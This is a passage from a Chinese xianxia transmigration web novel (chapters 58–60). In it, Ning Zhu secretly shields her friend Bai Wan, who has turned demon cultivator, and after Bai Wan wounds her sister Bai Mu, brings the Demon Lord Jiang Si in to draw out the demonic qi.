原来姜汐年也住在这里。 毕竟是原著重要女角色,姜汐年生得很美。 加之她刻意打扮过,穿一身娇柔的粉,云鬓高绾,发上缠着亮晶晶的流苏,漂亮极了。 宁竹不小心看呆了。 姜汐年却被她看恼了,她似嗔似怨瞪她,仿佛宁竹冒犯了自己。 姜思无道:“非节非典,汐年怎么穿成这样?” 姜汐年咬牙,又瞪着姜思无看。 这些日子她一直见不到谢寒卿,好不容易住进穹苍仙阁了,自然要好好打扮。 哥哥也真是,戳破她干什么! 宁竹坦然道:“姜师姐今天好漂亮。” 宁竹猜到姜汐年是故意打扮给谢寒卿看的,于是立刻说:“谢师兄,白师姐,你们说是不是?” 她还故意拉上了白暮,以免太过明显。 白暮早就懒得跟姜汐年一较高下了,她附和点点头。 谢寒卿看姜汐年一眼,却说:“去归墟这么穿不方便。” 姜汐年愣了下,眼见眼眶就要泛红,姜思无开口道:“梦京的炙肉最好吃,宁师妹想不想去尝尝?” 宁竹眼神一亮:“想去!” 谢寒卿随之道:“我也一起去。” 白暮本想拒绝,见宁竹眼睛亮晶晶看着自己,咽下话头,淡淡点头。 姜汐年不开心极了,嗓音里含了委屈:“我没有胃口,就不去了。” 她眼眶通红,转身作势要走。 姜思无都没看她一眼,拉着宁竹走。 谢寒卿和白暮也跟在他们身后离开。 宁竹扯了下姜思无的袖子:“诶,姜师兄!不等等姜师姐吗?” 姜思无面上的笑意淡去,一双桃花眼隐隐显出几分凉薄:“不必管她。” 她这哭哭啼啼喜欢耍手段的性子,自小就在拧,如今还是失败了。 想来也是他的错,姜起林根本不会管孩子,而他这个兄长怜惜她身子不好,只要她一哭,就心软作罢。 身后果然传来姜汐年细碎的啜泣声,姜思无皱了下眉,到底是狠心没回头。 宁竹总觉得这么把她撂在后面不太好,但姜思无速度很快,宁竹回头时,只看到姜汐年的一角裙摆。 宁竹张了张唇,最后只能说:“姜师兄,姜师姐会跟我们一起组队进秘境吧?” 姜思无点头:“自然。” 那便好。 宁竹松了一口气,她没办法告诉姜思无,姜汐年这一次很可能会死在归墟里。 如果他们是一起组队进去的话,事情应该还有转圜的余地。 宁竹盯着姜思无看,毕竟……姜思无的结局都改变了。 他们来到一家知名的炙肉店,四人坐下后,宁竹明显觉查到白暮的情绪变得有些低落。 宁竹想起来了。 在淮水的时间,他们也曾像这样坐在一起吃酥山。 那个时候……白晚也在。 屋子里炉子烧得很旺,炙肉发着滋滋的声音,香气四溢。 他们这个雅间临水,窗外是一条两岸栽满落凰花的河。 宁竹对着窗,低头戳着盘子里的炙肉,听姜思无和谢寒卿聊着归墟里的各种妖兽。 她有点渴,伸手去拿桌上的米酿,手忽然抖了下。 米酿撒到了手背上。 谢寒卿垂眸看来,宁竹忙说:“没拿稳!” 她接过谢寒卿递来的帕子,将手上米酿擦干净,起身说:“有点冷,我把窗子关一下吧。” 宁竹飞快跑到窗边,砰一声将窗棂关上。 窗外落凰花摇曳如火,仿佛方才宁竹的在花树上看到的女子只是一个错觉。 之后宁竹一直有些心不在焉,离开炙肉店时,宁竹先一步冲出去,环顾四周一圈,这才回过头对众人笑道:“天都黑了,我们快回去吧。” 一路上宁竹走得提心吊胆,待到回了穹苍仙阁,众人都歇下,宁竹偷偷摸摸穿上衣裳,又摸回了那个炙肉店附近。 夜色已深,河道两侧的落凰花也覆上一层暗色。 宁竹小声唤:“白晚!白晚——” 花枝摇曳,无人回应。 宁竹有点着急,白天的时候她分明看到她了。 白晚当时的确就坐在花树上,摇晃着双腿,似笑非笑看着她。 只是等她定睛看去,白晚已经不见了。 宁竹又唤了两声,依然无人回应。 她忽然有点怀疑自己,白晚如今是魔修,以谢寒卿和姜思无的修为,难道会察觉不到魔气吗? 难道是她看错了? 宁竹等了一会儿,乌云笼月,夜色更深,依然没有人出现。 她只好打道回府。 穹苍仙阁外布有重重结界,寻常修士不得靠近。 宁竹走的是玉琼阁和碧落台下方的那片落凰花林。 快要到谢家的范围时,宁竹忽然回头,冲着空无一人的落凰花林说:“白晚师姐,我知道你在,出来和我聊聊吧。” 也不知道过了多久,一股黑雾从四面八方包裹过来,凝成一个身着黑金两色衣袍,面白如鬼的女子。 白晚坐在花枝上,一言不发看着她。 宁竹顿了片刻,爬上花树。 花枝摇曳,掉了一片落凰花瓣在宁竹发鬓上。 宁竹低头从乾坤袋里掏出一个油纸包,又拿出一杯果饮:“是刚刚那家炙肉,还热呢,要不要尝一尝。” 白晚看了油纸包一眼,忽然说:“刚刚要装作不认识我,现在又给我这些干什么。” 她果然在生气。 宁竹将油纸包打开,递到她面前:“这里高阶修士很多,你会被发现吗?” 白晚没说话,宁竹就默认她有伪装身份的手段了。 宁竹用银签戳了一小块炙肉递到她面前:“你尝一尝嘛,这个很好吃的。” 宁竹带着哄劝的语气,白晚不自觉地张开嘴,将炙肉咬下。 咸香的口感在舌尖炸开,白晚堵在心口的气慢慢散了点。 尊上给她的任务是大闹一场,叫他们都知道白家那个二小姐没死。 但白日里她看到他们几人围坐在一起,炉火融融,一起分享着美食,她不知不觉就坐到了对面的花树上,遥遥看着他们。 白晚什么都不记得了。 但在魔域时,宁竹告诉过她,他们也曾一起吃过好吃的。 白晚也不知道自己怎么了。 心口闷闷的,眼睛很酸,宁竹出来找她的时候,这种感觉达到了巅峰。 宁竹又把凉冰冰的果饮凑到她唇边,白晚吸了一大口,别扭道:“现在就不怕别人撞到我们了。” 宁竹笑起来:“怕呀。” 白晚板着脸,宁竹又说:“……我怕他们会不分青红皂白伤害你。” 也许对于原著来说,剧情还在前期,幽冥鬼母的名头还没打出来。 白晚还不是原著里那个心狠手辣,杀人如麻的女魔头。 但她到底已经是个魔修了。 正邪不两立,如果白晚的身份现在就被撞破,肯定要出大问题的。 宁竹其实在想……姜思无的命运都已经改变了,那白晚的命运是不是也能被影响呢? 既然白晚现在还没在女魔头的路上一去不复返,她或许可以试着稍稍拉她一把? 不试试怎么知道呢? 所以现在,白晚不能贸然出现在众人面前。 至少……至少要等他们对魔修有所改观。 是的,宁竹的想法很大胆。 她也是去过魔域的人了,或许很多魔修的确是坏人,但也有很多魔修……不能以单纯的善恶来论。 比如殷长老,比如江似。 如果真有那么一天,兴许白晚和白暮,不会落到姐妹相残的下场。 宁竹想了许多,回过神来时,发现白晚在看她。 白晚眼神很怪,宁竹忍不住问:“……白师姐,怎么了?” 白晚抬手,在她脸颊上点了下:“我其实是奉魔尊的命令来抓你的。” 宁竹愣了下,果然面色大变。 白晚忍不住笑起来,笑得发髻间的烈焰绒花都在颤抖。 宁竹松了一口气,小声抱怨:“吓死我了。” 白晚好奇道:“你就不怕我真的是尊上派来抓你的?” 刚从魔域逃走的时候,宁竹是有点担心的。 后来都过了那么久,魔尊也没有动静,宁竹就把这个事抛之脑后了。 只是她一直惦记着魔宫地底那具跟她长得很像的傀儡。 她 和魔尊从无交集,为什么魔尊一见面就把她抓了?还在魔宫地底藏了一具和她长得那么像的傀儡? 这么推导逻辑不通。 如果反过来说,是自己长得像魔尊藏在地底的那具傀儡呢? 所以很有可能是她长得像魔尊的白月光。 这样就说得通了。 原著是个大男主修仙文,又是以谢寒卿的视角展开。 魔尊有没有白月光不是重点,即使提到过也很可能被宁竹略过了。 所以听白晚这么问,宁竹摇头:“……不太可能。” 要是魔尊真那么在意她,早就该动手了,怎么会等到现在,她可是一个在原著里提都没提过的炮灰。 白晚其实挺奇怪的,在魔域时尊上看宁竹跟看眼珠子似的,怎么宁竹逃走之后,尊上反而偃旗息鼓了,仿佛没这个人似的。 ……不过尊上此人,做事本就没什么章法。 白晚笑了笑:“那你这么跟我混在一起,就不担心别人看见?” 第59章 宁竹蹙眉:“我们是朋友, 为什么我不能和自己的朋友在一起。” 白晚:“但我是人人喊打的魔修。” 宁竹立刻反驳:“是非善恶,是要用自己的眼睛看的。” 白晚的睫毛颤了下,心脏好像被什么东西戳了下,她正要开口, 忽地瞳孔一缩。 锐利的剑气刺破暗色, 朝着白晚面门袭来! 电光石火间, 白晚化作一道黑雾, 消失不见。 剑气削断宁竹身下的树枝, 宁竹还没反应过来发生了什么, 整个人便已经直直往下坠去! 冷香扑面。 宁竹下意识搂住对方的脖颈, 再睁眼时,谢寒卿已经抱着她稳稳落地。 小仙君腰肢精瘦, 心跳得很快,宁竹八爪鱼一般扒在他身上, 两人发丝交缠, 呼吸相闻。 他身后,落凰花瓣悠悠飘落,一切与梦境重合。 宁竹脸色爆红,猛地从谢寒卿怀里跳下来, 连连后退,直到背脊抵住树干,才慌乱道:“谢,谢师兄?” 谢寒卿立在原地,微微垂着眼, 还保持着被她推开的姿势。 整个人看起来……好像要碎掉了。 宁竹后知后觉自己的反应过了。 她忙解释:“我,我刚刚……” 谢寒卿却说:“方才宁宁和谁在一起?” 宁宁。 他怎么又这么喊她! 宁竹的脸又烧起来。 但眼下不是说这些的时候,她道:“谢师兄看错了, 我刚刚一个人。” 谢寒卿抬眸,淡色的瞳看着她。 宁竹很少撒谎,小腿都有点发软,但她还是重复:“我一个人赏月呢,谢师兄,怎么了?” 谢寒卿上前一步,抬起手。 宁竹下意识缩了下脖子。 不料有一只手轻轻拂过她的头发,摘下了上面粘着的落凰花瓣。 宁竹愣了下。 ……谢师兄不是要对她使用搜神术吗? 或许是她的眼神暴露了什么,小仙君无奈抿了下唇角:“以为我要用搜神术?” 宁竹干笑两声。 谢寒卿垂下眼眸,说出一句让宁竹大吃一惊的话:“宁宁,你的识海无法被旁人看到。” 不是,这话的意思是? 谢寒卿看过她的识海?而且还什么都没看到? 谢寒卿坦诚道:“我身怀秘密,刚开始你在魍魔谷捡到我时,我本想抹掉你的记忆。” 宁竹的冷汗一下子下来了。 ……她其实知道别人没办法看到她的记忆。 天玑山弟子入门时,都要问道心,宁竹的手放在问心石上,一片空白。 宁竹当时就觉察到不对劲。 后来她入了门,才知道那块问心石与戒律堂的窥心石都是上古神石,一块可以用来问道心,一块可以拿来窥探记忆。 搜神术乃是禁术,戒律堂审问犯下大错的弟子都会用窥心石。 宁竹找到机会接了一个打扫戒律堂的任务偷摸到窥心石前看过。 ……窥心石一片空白,显现不出她的半分记忆。 宁竹先是恐慌,又渐渐安下心来。 她到底是异世来客,旁人看不到她的记忆,其实是一件好事。 所以仙门大比时,她知道自己没办法通过展示记忆的方式警示谢寒卿,才会选择那样的笨办法。 ……但是现在谢寒卿告诉她,他试过对她使用搜神术? 好险。 还好有高纬力量的限制。 要是谢寒卿发现他是一本书的男主角……宁竹不敢想象后果。 此时宁竹只能配合他表演:“啊?那么奇怪吗?” 谢寒卿淡淡看着她。 宁竹或许不知道,他极为善于察言观色。 方才她一瞬的恐慌,被他捕捉到了。 宁竹知道此事。 她在撒谎。 小仙君的瞳色微微变深。 如果宁竹真的是天知者,旁人无法窥探她的记忆也是合理的。 某些猜测再度被印证。 谢寒卿却说:“世间万千机缘变换,旁人看不到宁宁的记忆,也不失为一种好事。” 他像是要将此揭过此事:“夜色已深,宁宁,回去歇息吧。” 落凰花林离他们的住处很近,两人一前一后往回走。 待到玉琼阁下,宁竹小声说:“那个,谢师兄……” 谢寒卿停住脚步,偏头看她。 宁竹耳尖又涨红了:“谢师兄……还是叫我宁师妹吧。” 谢寒卿沉默片刻,忽然开口:“只有我们两个人的时候,可以叫宁宁吗。” 其实也不太好。 但小仙君垂着眼睫,语气里含了点儿不自觉的哀求…… 好吧,宁竹心软了。 她小声说:“只能我们两个人的时候。” 谢寒卿弯起眉眼:“……宁宁。” 宁竹第一次知道,清冷的嗓音原来也能唤出这般缱绻的字句。 仿佛有羽毛在宁竹心脏上轻轻刷了一下,宁竹连指尖都泛起酥酥麻麻的感觉。 她刻意不去看谢寒卿:“那我先回去休息啦!” 宁竹闷头就跑,被不知从哪里探出来的花枝刮了一下额头。 宁竹哎呀一声,吃痛捂住额头,脚下却没停,跑得飞快。 她一溜烟跑回房间,关上房门,背脊抵住门大口大口喘气。 ……心跳得好快。 宁竹捂住发烫的脸颊,这才觉得额头火辣辣的痛。 宁竹伸出指尖摸了下,有一点点血。 好像方才被花枝刮破了。 有悠长的影投映在窗棂上。 宁竹一惊,猛地转过身子。 谢寒卿的声音响起:“玉颜膏。” 影子抬手,将什么东西搁在窗台上。 两人之间隔着一扇薄薄的窗纸。 小仙君就连影子都那么好看,如同清隽的鹤。 宁竹胡乱点头:“……好。” 影子在窗台前停驻片刻,拉长,变淡,转身离开了。 谢寒卿站在落凰花林,看到窗棂被推开,少女通红着脸,飞快将那瓶玉颜膏拿了回来。 少女纤薄的影在窗棂上微晃,她好像拿起瓶子嗅了嗅,又懊恼地揉了把头发。 ……好可爱。 落凰花瓣落了谢寒卿满肩。 他站在原地,直到宁竹的房间熄了灯,才转身离开。 小仙君白衣落拓,如同一道鬼魅的影在林间穿梭,很快到了方才宁竹停留的地方。 谢寒卿停下,瞳孔微微变红。 千万缕飘浮的丝线缠绕在空气中,谢寒卿的目光定在血红色的那一根上。 片刻后,他提步,无声追了过去。 梦月客栈。 白晚倏然出现,手里还端着宁竹方才递给她的果饮。 她暗自骂了一句,将果饮随手放下。 刚才跑什么? 谢寒卿认识她,就该在他面前露个面。 不过白晚又想起方才宁竹所说的。 她缓缓扶着桌案坐下,自嘲一笑。 可能吗? 让修士与魔修和谐相处,简直是天方夜谭,不是谁都是宁竹。 妆台上的水镜倒映出一张面白唇红的脸。 白晚盯着那张脸看了半晌,面色忽然一变。 ……宁竹送她的烈焰绒花不见了。 白晚匆匆起身,离开了屋子。 夜凉如水。 路上残雪未消,冷色的月倾覆在积雪上,如同一层寒霜。 白晚低头,沿路仔细寻找。 忽有一道颀长的影落在面前。 来人声音清寒:“是在找这个么,白晚师妹。” 白晚缓缓抬起头。 小仙君逆着月色而立,手中捻着那朵烈焰绒花。 谢寒卿眸光平静,淡声说:“你没死,白晚师妹。” 白晚身体已经绷紧,随时 可以化作黑雾散去。 面上却带着笑接过那朵绒花:“别叫我那个名字。” 她反手将绒花簪到发髻间,笑盈盈说:“我叫幽冥鬼母,你可以叫我鬼母。” “……幽冥鬼母。” 谢寒卿话音落,铺天盖地的剑意如同细密的网笼罩而下! 白晚的身体诡异地扭动了下,化作黑雾四散,又很快凝成实体。 她翘着腿坐在屋檐上,鬓间烈焰绒花色泽灼灼,衬得她眉眼越发冷艳。 白晚的笑意变冷了:“……果然,修士和魔修之间只能是不死不休。” 这世间……没有第二个宁竹。 半空中倏然浮现万千条黑雾凝成的细蛇,丝丝吐信,朝着谢寒卿袭去! 谢寒卿挥剑格挡,剑光飒沓,剑下细蛇被斩断,化为黑雾散去。 但很快那些黑雾再度凝聚成更小的细蛇,从四面八方缠绕而上,谢寒卿整个人都被黑蛇吞没。 白晚勾起唇角,轻轻抚上鬓间的烈焰绒花。 下一刻,背后忽有一道凛冽剑意袭来。 白晚轻而易举闪身躲开,剑刃只削去了她的一缕发。 然而那人再度提剑刺来! 白晚不耐烦地回过头,明知不是自己的对手,有完没完? 与此同时,谢寒卿周身爆发出银光,黑蛇散去。 “……小晚?” 谢寒卿抬眸,看向来人。 白暮站在白晚不远处,手执长剑,双眼睁大,整个人都在颤抖。 白晚盯着白暮看了片刻,抬手再度凝出万千黑蛇,直直朝着白暮袭去! 白暮毫不设防,被黑蛇缠绕而上,衣衫霎时渗出鲜血。 她不敢置信地盯着白晚,白晚却面无表情,再度放出数条黑蛇。 谢寒卿足尖微点飞身而上,一剑震开黑蛇,挡在白暮面前:“她不是你妹妹了。” 可是白暮依旧浑身都在颤抖,她面色惨白,鲜血顺着剑尖滴答滴答坠落。 “……小晚,这些日子你都在哪里?”白暮的声音已经疼到变形了。 “别叫我那个名字!”白晚尖声道。 空气微微波动起来。 无数浓重的黑雾从四面八方凝聚起来,化作一条遮天蔽日的巨蛇。 蛇口喷吐着幽红火焰,猩红的眼盯着两人。 白暮身形摇摆,眼角泛红:“……小晚。” 白晚冷笑,蛇首高高抬起,张开血盆大口。 “再说一次,叫我幽冥鬼母!!” 巨蛇刺破长空,发出尖啸,朝着两人袭去! “白晚师姐!!” 巨蛇在空中凝固了一瞬。 白晚低头,宁竹和姜思无不知何时出现在下方,宁竹脸色惨白,朝她拼命摇头。 她来得很急,头发都没梳,衣带也系错了,素白的小脸上满是哀求。 白晚死死抿住唇,化作黑雾离开。 眼见白晚离开,白暮忽然提剑追上去,然而才腾到半空,她便狼狈地跌落在地,咳出一口乌黑的血。 姜思无上前查看,面色微变:“不好,有魔气侵染的迹象!快带白暮师妹回去!” 这边动静太大,已经惊动了许多修士。 有人疑惑道:“……方才那魔修好像是白家二小姐?” “是她!我看清了!” 众人议论纷纷间,白暮踉跄着站起身,抓住宁竹的手:“宁师妹,你和小晚……之前就见过?” 众人的目光都落到宁竹身上。 谢寒卿忽然开口:“方才宁师妹和我待在一起,是我先看见了白晚。” “宁师妹此前并没有见过她。” 谢寒卿语气平淡。 宁竹不敢看他,盯着鞋尖。 谢寒卿说的话,又如何会作假。 白暮信了。 她整个人凄惶不堪,眼角成串的泪滚下,喃喃:“……成了魔修,竟连性子都会大变吗?” 宁竹心底涌起愧疚。 ……可她没办法告诉白暮,白晚什么都不记得了。 白晚再度咳出乌黑的血。 她身子一软,不省人事倒了下去。 “白师姐!!” 已至夤夜,穹苍仙阁却灯火通明。 玉琼阁花厅。 谢凌风眉心折痕更深,扫视着谢寒卿。 “你说方才便看到了白晚,又为何要放她逃走?” 谢凌风已经听说白晚被宁竹阻下的事,鹰隼般的眼睛又盯住宁竹:“白晚已成魔修,连手足都不认,又为何会听你劝阻?” 他还记得宁竹在仙门大比时是如何混入秘境,此人实在可疑。 姜思无摇着折扇说:“姑父此言差矣。” 他弯着一双桃花眼:“宁师妹这般惹人怜爱,白晚就算成了魔修,也舍不得伤她,不是很合理吗?” ……姜师兄,能不能别说那么羞耻的话。 宁竹盯着鞋尖装死,内心却在哀嚎。 谢凌风冷哼一声,姜思无又说:“白晚现在已成魔修,实力不在寒卿之下,打个照面立刻逃走并不奇怪。” 姜思无唉声叹气:“姑父还是关注下白暮师妹吧。” 白暮心神动摇,如今已有魔气侵体的迹象。 白庭叶接到消息,勃然大怒。 好在白家有一株万年灵雾花,灵雾花服用后可解魔气,白庭叶已经遣人往梦京送了。 谢凌风表情越发不快。 白庭叶自己的女儿手足相残,跟他有何关系?也只是事情发生在他的地盘上。 谢凌风抬手招来一个下属:“把库房里那枚紫瑛仙丹取出来,给白暮送去。” 他看谢寒卿一眼:“我还有事,你代我在此处照顾好白暮。” 谢寒卿淡淡颔首。 姜思无拉长声腔:“姑父慢走——” 这边谢凌风刚走,姜汐年出现了。 她面上有些惶然:“我听说白师姐出事了,现在怎么样了?” 姜思无:“等灵雾花送来,自然无事。” 姜汐年摇头:“白晚自己成了魔修,怎么能想着把自己的亲姐姐也变成魔修?” 她又幽幽说:“我听说表兄和宁师妹最先见到白晚?既然如此,为什么不提前示警,否则白师姐也不会变成这样。” 宁竹……哑口无言。 白暮师姐变成这样,她的确有责任。 宁竹低垂着头,沉默不语。 姜思无声音变得很冷:“白晚现在是魔修,修为深厚,寒卿也不一定是她的对手。” 姜汐年还要说话,宁竹忽然起身:“……我去看看白师姐。” 姜思无和谢寒卿对视一眼。 宁竹沉默地推开门离开。 白晚师姐……一定不是出于本心,她肯定只是不记得白暮了。 梦京郊外。 黑雾凝聚成实体,化作一个踉踉跄跄的女子。 白晚漫无目的走到落凰花林间。 月色投映在她散乱的长发上,她指尖攥着的烈焰绒花上沾了点血,色泽更加浓艳。 白晚忽然怔了下,旋即伏跪在地:“……尊上。” 银发如瀑的少年坐在落凰花树上,只露出苍白俊美的下颌。 江似把玩着一朵落凰花:“哭什么?” 白晚狼狈低下头:“……属下没有。” 江似的眼幽深难辨:“不忍心对自己的姐姐下手么?” 白晚盯着地上残败的落凰花,摇头:“不是。” “骗人。”江似如同鬼魅一般出现在她面前。 冷白的指尖染上了落凰花汁,猩红得像血。 江似在笑:“看来哪怕是残魂,也依然会左右行事。” 白晚颤抖起来。 她忍不住小声啜泣:“……这一次求尊上饶过属下。” 江似将落凰花随手抛开,笑盈盈说:“我很好奇,你不应该还记得,那又是从哪里知道白家有灵雾花的?” 江似摊开掌心,一朵通体散发着幽幽蓝光的透明花朵出现。 白晚瞳孔一缩。 “我吩咐你尽量挑个身份高的人下手,你不对姜家兄妹下手,偏要对白暮。” “是猜到你爹爹只会愿意把灵雾花拿给自己的女儿用,是么?” 魔气顺着白晚纤细的脖颈缠绕而上,危险地游走着。 只要江似稍稍一用力,便能叫她尸首分离。 江似淡声说:“你和屠 星,乃是我的左膀右臂。” “我的左膀右臂,对修士居然还有恻隐之心,白晚,你知道这意味着什么?” 魔气如同情人温柔的抚摸,缓缓缠绕收紧。 白晚的眼神变得很空。 ……就这么算了吧。 死了也很好。 不用痛苦,不用纠结,不用在夜深人静时默默流泪。 缠住她脖颈的魔气忽然消散,转而缠上那朵灵雾花。 在白晚出声之前,魔气将灵雾花霎时碾碎。 白晚跌坐在地上。 除了魔尊亲自出手,灵雾花乃是世间唯一一种能解魔气的东西,就算是白家也只有这么一朵。 ……她的算盘落空了。 江似轻笑一声:“待你姐姐也来了魔域,你便不孤独了,不是么?” 江似踏着月色悠然离去。 身后传来白晚的悲泣,呜咽声与夜风缠绕,很快消散。 第60章 与此同时, 穹苍仙阁。 姜思无面色一变:“灵雾花被夺?” 来人乃是谢家弟子,跪在地上请罪:“我们不是对方的对手,那人打伤弟子数十名,带着灵雾花离开了。” 谢寒卿眉头微蹙:“在哪里交手的, 带我前去。” 姜思无:“可派人回白家询问了?还有没有多余的灵雾花?” 谢寒卿摇头:“灵雾花只此一朵。” 他不欲耽搁:“我们现在就去, 说不定能追回灵雾花。” 谢寒卿他们匆匆离开, 宁竹站在后门处听完整场对话, 脸色一片苍白。 方才她去看过白暮。 白暮心神受损, 魔气入侵的速度比想象中快, 她手上已经开始隐隐泛出黑色纹路了。 一旦脸上也开始浮现纹路, 任凭谁来都没有回天之力。 宁竹死死掐住掌心,片刻后, 她悄无声息离开玉琼阁。 江似此时已经变回了黑发的模样。 到底他曾是天玑山弟子,为免多生事端, 江似带了一张面具, 只露出下半张脸。 夜色深重,但街上依然喧闹,恐慌在人们中间蔓延。 “……听说是什么幽冥鬼母,白家大小姐乃是同辈人中的佼佼者, 居然也会被魔气轻而易举入侵。” “归墟可不排斥魔修进入,我们若是进了归墟,还安全吗?” “你们没听说吗?那幽冥鬼母正是白家二小姐白晚!入魔后六亲不认,竟连自己的亲姐姐也下得了手……” 江似悠哉悠哉走在路上,透过面具, 欣赏着众人的恐慌。 有人甚至放言道:“这归墟我不去了!思来想去还是小命要紧,这一次异端频生,焉知进入归墟又会是什么情况。” 江似勾了下唇角, 脑子还算清醒。 他不允魔域众人滥杀无辜,可没说不允许他们在归墟中杀人。 机缘法宝就那么多,修士之间都要自相残杀,更何况魔修? 有人劝说:“归墟五十年才开启一次,错过这一次要等许久……况且五十年后又不知是怎样的光景,若是这次运气好,在归墟里得了机缘,说不准将来还能活的更久。” 江似唇边笑意扩大。 五十年后?五十年后修士哪还能像今日猖狂? 届时该躲躲藏藏的,便不是魔修,而是他们了。 面前忽然飞来一张传音符。 江似抬手握住。 宁竹焦急的声音传来:“江似,你现在在哪里?我有急事找你。” 随之送过来的还有一张千里遁地符。 江似眼尾浮起浅浅笑意。 刚好他要去找她。 宁竹心中焦急,在落凰花树下走来走去。 分明才将传音符递过去,但仿佛已经过了很久。 江似收到消息了吗? 江似有空过来吗? 江似…… 忽然有人从后面揪了一下她的头发。 宁竹回头,江似站在落凰花树下看着她。 少年苍白的脸上含着浅笑,黢黑如墨的眼盯着她看,眸光专注。 他声音很轻:“找我做什么?” 宁竹拉住他的袖角,似是难以启齿:“……你,你还能像在秘境中时,帮人把魔气引出来吗?” 江似脸上的笑意僵住了。 宁竹也很难为情:“是白暮师姐,白暮师姐被魔气侵染了,但能清除魔气的月雾花被人夺走,下落不明……” “时间不等人,所以我想来问问你,你还能不能……” “不能。”江似眼神阴翳,干脆利落拒绝。 少女愣了下,眉眼都耷拉下来。 她缓缓松开他的袖子,点点头。 ……江似已经是死过一次的人了。 也许在魔域时他已经丧失了这个能力。 她面上笼着重重忧色,走到一旁,不住抬头看谢寒卿他们有没有回来。 江似站在原地。 他忽然哑声开口:“你找我来……就是为了这个?” 宁竹心里乱得很,她胡乱点点头,伸长脖颈往穹苍仙阁那边看。 她没注意到,对面的江似唇角浮起一个凉薄的笑。 垂在身侧的手也一点点握紧。 宁竹现在也没有更好的办法了。 她只能祈求,祈求谢寒卿他们找回灵雾气花。 如果白暮真的成了魔修…… 宁竹不敢再想下去。 江似在看她。 少女背脊抵住树干,手指无意识地抓着自己的裙带,苍白的小脸上尽是惶然。 少年的眼瞳生得很黑,仔细盯着一个人的时候,便会生出一点偏执。 而现在,偏执中掺杂了别样的情绪。 ……有不甘,有自嘲,有无奈。 江似垂眸,笑了下。 他走过去,抬手揉了一把宁竹的头发:“不是不喜欢白暮吗?为什么要帮她。” 宁竹的眼眶不知何时泛起红,此时头发被他揉乱,整个人看上去可怜巴巴。 她摇头:“我没有不喜欢白暮师姐。” 她从乾坤袋里拿出一只玉镯,玉镯里像是含了一汪水,漂亮极了。 “这个就是白暮师姐送我的,用凤和白玉簪改的。” 她犹豫了下,还是对他说了实话:“……其实我认识幽冥鬼母,也就是白晚。” “但我没想到,白晚……会忽然对白暮师姐出手。” “如果我一开始就告诉他们白晚已经成了魔修的事,他们对白晚有所提防的话……白暮师姐也不会变成现在这样。” 江似却说:“她们姐妹相残,跟你有什么关系。” 宁竹蔫巴巴垂下头。 江似盯着她:“那你现在怨白晚么?” 宁竹摇头:“白晚什么都不记得了,不然她不会对白暮师姐出手的。” 江似忽然很想笑。 ……笨蛋,总是在为别人开解。 他认命地拉住她的手:“走吧。” 宁竹:“啊?去哪里?” 江似偏头看她:“再晚一点,就是我也帮不了白暮了。” 宁竹险些蹦起来:“真的吗!江似你还有那个能力!” “什么叫那个能力……” 两人一路说着话,来到玉琼阁下方。 整座穹苍仙阁都布有结界,类似于门禁,宁竹可以随意进出。 她往江似身上拍了个蔽身符,牵住江似的手。 蔽身符的作用下,江似在旁人眼里只是透明的空气。 但宁竹还能感觉到他的手,宁竹稍稍握了下他的手,小声喊:“江似?” “嗯。” 宁竹松了一口气,拉着江似进入了玉琼阁。 只是不凑巧,她才踏进院子,就撞见姜汐年。 宁竹吓了一跳。 姜汐年狐疑地盯着她:“宁师妹,你在做什么?” 宁竹干笑:“姜师姐晚上好,我听说月雾花被人夺走了,方才出去看了看,不知道有没有找回来。” 姜汐年:“夜色已深,外面不安全,回你的屋子呆着吧。” “月雾花的事不用你操心。” 宁竹乖巧点头。 姜汐年看她一眼,在谢寒卿房间外徘徊,想必是要在那里等他回来。 宁竹松了一口气,牵着江似进了屋。 做贼心虚,宁竹小心翼翼看了周围一圈,飞快关上门。 回头时宁竹被地毯绊了一下,一个踉跄往前倒。 有人抱住她。 少年的胸膛很暖,只是……为什么听不到心跳? 宁竹还来不及细想,便被江似扶起来,空气中传来他的声音:“小心点。” ……可能是她听错了。 宁竹将这个念头抛之脑后,拉着江似走到白暮床边。 白暮已经陷入了昏迷,黑色纹路隐隐往上攀爬,已经蔓延到下巴的位置。 宁竹焦急起来:“ 江似,现在就……” 门忽然响了。 宁竹被人猛地一拽。 江似拉着宁竹滚到榻下。 有脚步声响起。 宁竹心跳都乱了,好险!!差点就要被人发现了。 床榻之下空间狭小,宁竹和江似紧紧贴在一起。 少年垂眸,视线落在她柔软的脖颈上,宁竹却在专心致志听着外面的声音。 “月雾花被毁,对方到底是要做什么?”是姜思无的声音。 宁竹眼眸微微瞪大,还好江似在这里…… 只是她不能让别人知道江似的能力,也不能让别人知道江似还活着。 有人推开门。 谢寒卿音色清冷:“找到了一点残余碎片,聊胜于无,等人把药煎来,配合紫瑛仙丹,应该能暂时克制魔气。” “至于之后如何化解魔气,再找办法。” 姜思无很难受:“若是魔气无法被彻底清除,白师妹的修行之路……便算是断在这里了。” 谢寒卿沉默片刻:“先来为她压制魔气。” 他们说了这么久,都没发现宁竹和江似。 宁竹猜到应该是江似用了什么手段收敛他们二人的气息。 只是她依然不敢动弹,只能一动不动盯着谢寒卿鞋面上的青莲流云纹看。 床榻下方十分狭窄,两人紧紧挨在一起,亲密难分。 江似的手还横在宁竹腰间,但宁竹却看不到。 这种感觉……很奇怪。 少年的呼吸滚烫,深深浅浅拂过宁竹的后颈,叫她起了一身的鸡皮疙瘩。 宁竹有点不舒服,她悄悄挠了下江似的掌心,意思是要他离自己远一点。 没想到身后之人反握住了她的手。 少年掌心宽大,轻而易举将她的手包裹在其中。 滚烫的温度源源不断过来,宁竹掌心骤然生了汗意。 身后之人贴得更近了。 江似甚至腾出一只手来轻轻拍了拍她的肩膀。 江似以为她在害怕吗?她不是这个意思啊! 但她不敢出声,只能稍稍控制着自己往前挪了点儿身子。 不料江似又随之贴上来,甚至恶劣地收紧了横在她腰间的手臂。 有什么东西……抵在她后腰处。 宁竹愣了下,脸颊霎时爆红。 这,这难道是? ……让她死了算了!! 宁竹浑身都烧起来,拼劲全力往前挪动,想要离他远点。 箍住她腰肢的手用了点儿力气,将人往回拉。 江似气息不稳,擦着她的耳尖说:“别动。” 软软的气流拂过,叫宁竹半边身子都酥麻不堪。 她如同被定住的呆头鹅,连呼吸都凝固了。 头顶传来姜思无的声音:“……你方才有没有听到什么声音?” 谢寒卿的眸光往下滑,在床榻边缘凝固了一刹:“没有。” 姜思无:“可能是听错了。” 两人合力,延缓白暮体内魔气扩散的程度。 一刻钟后,姜思无收回灵力,眉心微蹙:“也只能这样了。” “我去看看药煎好了没。” 谢寒卿看白暮一眼,也随之离开。 又过了几分钟,江似开口:“人已经走了。” 